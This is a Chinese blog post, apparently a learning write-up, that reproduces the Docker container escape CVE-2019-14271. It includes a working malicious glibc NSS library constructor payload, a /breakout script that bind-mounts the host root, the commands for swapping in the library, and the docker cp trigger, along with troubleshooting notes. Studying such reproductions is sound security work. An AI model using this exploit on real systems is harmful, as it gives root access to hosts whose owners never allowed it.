CVE-2019-14271复现

CVE-2019-14271:加载不受信任的动态链接库

docker cp依赖的docker-tar组件会加载容器内部的nsswitch动态链接库,但自身却未被容器化。

hacker可以通过劫持容器内的nsswitch动态链接库实现对宿主机进程的代码注入,获得宿主机上的代码执行能力

问题所在:高权限进程自身未容器化,却加载了不可控的动态链接库,一旦控制了容器就可以通过修改容器内动态链接库来实现在宿主机上以root权限执行任意代码。

原理

执行docker cp后,docker daemon会启动一个docker-tar进程来完成这项复制任务。若要从容器内复制文件到宿主机上,docker-tar原理:

​ 会切换进程的根目录(执行chroot)到容器根目录,然后将需要复制的文件或目录打tar包传递给Docker daemon,Docker daemon负责将内容解包到用户指定的宿主机目标路径。

  • chroot:原本使用chroot,是位了避免了符号连接导致的路径穿越,但是docker-tar仅仅chroot到了容器的文件系统,而程序本身不是容器化的,其在主机命名空间中运行,这意味着docker-tar不受cgroup或seccomp的限制。如果这时候docker-tar加载了容器内部的恶意动态链接库(本来应该从主机文件系统中加载库,但是由于docker-tar chroots到了容器内,所以从容器文件系统中加载动态链接库),被注入恶意代码,那就能够获得对主机完全的root访问权限

利用思路

  1. 找出docker-tar具体会加载那些容器内的动态链接库
  2. 下载对应动态链接库源码,为其增加一个__attribute__((constructor))属性的函数run_at_link(该属性意味着在动态链接库被进程加载时,run_at_link函数会首先被执行),在run_at_link函数中放置我们希望docker-tar执行的攻击载荷(payload);编译生成动态链接文件
  3. 编写辅助脚本”/breakout“,将辅助脚本和步骤二生成的恶意动态链接库放入恶意容器,等待用户执行docker cp命令,触发漏洞
定位动态链接库

定位docker-tar启动后会加载的容器内动态链接库?

  • 分析docker源码
  • 执行docker cp,查看容器内哪些动态链接库被加载了(可以使用Linux提供的inotify机制,监控文件系统的变化)
    • inotify-tools时一系列基于inotify机制开发的命令行工具,可以借助这些命令行工具监控docker-tar对容器内动态链接库的使用情况
#docker run -itd --name=test ubuntu
//拿到容器在宿主机上的绝对路径
#docker exec -it test cat /proc/mounts | grep docker
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/X3TLF3OEJEGAFSQDE53ZRSLQYS:/var/lib/docker/overlay2/l/JHRUBAQR6XWQITKRQTUUY574R2,upperdir=/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/diff,workdir=/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/work 0 0

  • 加docker exec…存粹是,test无法访问其他容器在宿主的路径,所以精准定位

请添加图片描述

那么容器的根目录在宿主机上的绝对路径为:

/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged
f8514cf67d36d6349d07a6198800acda396/merged# apt install -y inotify-tools
root@pmj-virtual-machine:/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged# inotifywait -mr /var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged/lib/
Setting up watches.  Beware: since -r was given, this may take a while!
Watches established.
/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged/lib/x86_64-linux-gnu/ OPEN libnss_files-2.31.so
/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged/lib/x86_64-linux-gnu/ ACCESS libnss_files-2.31.so
/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged/lib/x86_64-linux-gnu/ CLOSE_NOWRITE,CLOSE libnss_files-2.31.so

请添加图片描述

可以看出docker-tarhua加载了libnss_files-2.31.so

构建动态链接库

https://ftp.gnu.org/gnu/glibc/glibc-2.31.tar.bz2下载glibc库

  257  tar -jxvf glibc-2.31.tar.bz2 
  259  cd glibc-2.31
  261  vim Makeconfig   
//注释这一行,关掉警告设置,避免加入恶意payload后编译失败
#+gccwarn-c = -Wstrict-prototypes -Wold-style-definition

在源码中添加恶意payload

  • 可以在/glibc-2.27/nss/nss_files目录下任意源码文件中添加payload
  • 这里选择files-service.c文件
    • 不必过多操作,作为一个获取控制权的途径,把真正具有威胁的操作放入容器内/breakout脚本中,让动态链接库去执行/breakout脚本文件即可

在其中一个源文件中添加函数run_at_link(),使用构造函数定义该函数,所以每次进程加载时,run_at_link()函数都能够作为库的初始化函数执行,即docker-tar进程动态加载此库,函数就会执行

在files-service.c文件中加入如下payload

// content should be added into nss/nss_files/files-service.c
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>
//容器内部原始original_libnss_files.so.2文件的备份位置
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
//恶意original_libnss_files.so.2的位置
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"

bool is_priviliged();
//带有constructor属性的函数会在动态链接库被加载时自动执行
__attribute__ ((constructor)) void run_at_link(void) {
     char * argv_break[2];
    //判断当前是否时容器外的高权限进程(docker-tar)
    //如果时容器内进程,则不做任何操作
     if (!is_priviliged())
           return;
	//攻击只需要执行一次即可
    //用备份的原始libnss_files.so.2文件替换恶意libnss_files.so.2文件
    //避免后续的docker cp操作持续加载恶意libnss_files.so.2文件
     rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
	//以docker-tar进程的身份创建新进程,执行容器内的breakout脚本
     if (!fork()) {
        // Child runs breakout
        argv_break[0] = strdup("/breakout");
        argv_break[1] = NULL;
        execve("/breakout", argv_break, NULL);
     }
     else
        wait(NULL); // Wait for child

     return;
}

bool is_priviliged() {
     FILE * proc_file = fopen("/proc/self/exe", "r");
     if (proc_file != NULL) {
           fclose(proc_file);
           return false; // can open so /proc exists, not privileged
     }
     return true; // we're running in the context of docker-tar
}

编译生成恶意链接文件

cd /root/gnu/glibc-build
mkdir configur1
../glibc-2.31/configure --prefix=/root/gnu/glibc-build/configur1/
make
//生成的恶意动态链接库文件为/glibc-build/nss/libnss_files.so;要注意的是libnss_files.so.2为链接文件,别弄错了
实现逃逸

如果用户执行docker cp,后台的docker-tar进程在执行了chroot命令后,会触发libnss_files.so

  1. 将此脚本拷贝到容器根目录,并给他加上777权限
#!/bin/bash

umount /host_fs && rm -rf /host_fs
mkdir /host_fs


mount -t proc none /proc     # mount the host's procfs over /proc
cd /proc/1/root              # chdir to host's root
mount --bind . /host_fs      # mount host root at /host_fs
  1. 将容器内原有的libnss_files.so拷贝到容器根目录并重命名
  2. 用构建好的libnss_files.so库替换原有正常库(记得改名)

整个过程如下:(为进入容器操作,也可以在宿主机进入容器文件目录进行操作)

root@c638f4a1fa0f:/# chmod 777 breakout
root@c638f4a1fa0f:/lib/x86_64-linux-gnu# ls -l | grep libnss_files
-rw-r--r--  1 root root   51832 Dec 16  2020 libnss_files-2.31.so
lrwxrwxrwx  1 root root      20 Dec 16  2020 libnss_files.so.2 -> libnss_files-2.31.so
root@c638f4a1fa0f:/lib/x86_64-linux-gnu# cp libnss_files-2.31.so /original_libnss_files.so.2
root@c638f4a1fa0f:/lib/x86_64-linux-gnu# rm ./libnss_files.so.2
root@c638f4a1fa0f:/# mv libnss_files.so /lib/x86_64-linux-gnu/libnss_files.so.2
root@c638f4a1fa0f:/# ls
bin       dev   lib    libx32  opt                         root  srv  usr
boot      etc   lib32  media   original_libnss_files.so.2  run   sys  var
breakout  home  lib64  mnt     proc                        sbin  tmp

  1. docker cp test:/etc/passwd ./,触发攻击
复现成功

请添加图片描述

遇到问题
  1. 下图问题:不能在glibc的源文件目录下运行

请添加图片描述

  1. 下图问题,缺少依赖
//安装依赖
198  apt install bison
203  apt install gawk

请添加图片描述

  1. 动态链接库问题,失败了,对docker的所有命令都失效

    问题描述:docker根目录下的original_libnss_files.so.2消失,但是没有挂载host_fs成功

    说明其中payload中rename那行生效了,所以编译的nss库没问题

    是breakout需要加上777权限,没想到,到github上问了作者才知道,非常感谢

参考文献:

云原生安全:攻防实践与体系构建

Docker Patched the Most Severe Copy Vulnerability to Date With CVE-2019-14271 (paloaltonetworks.com)

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值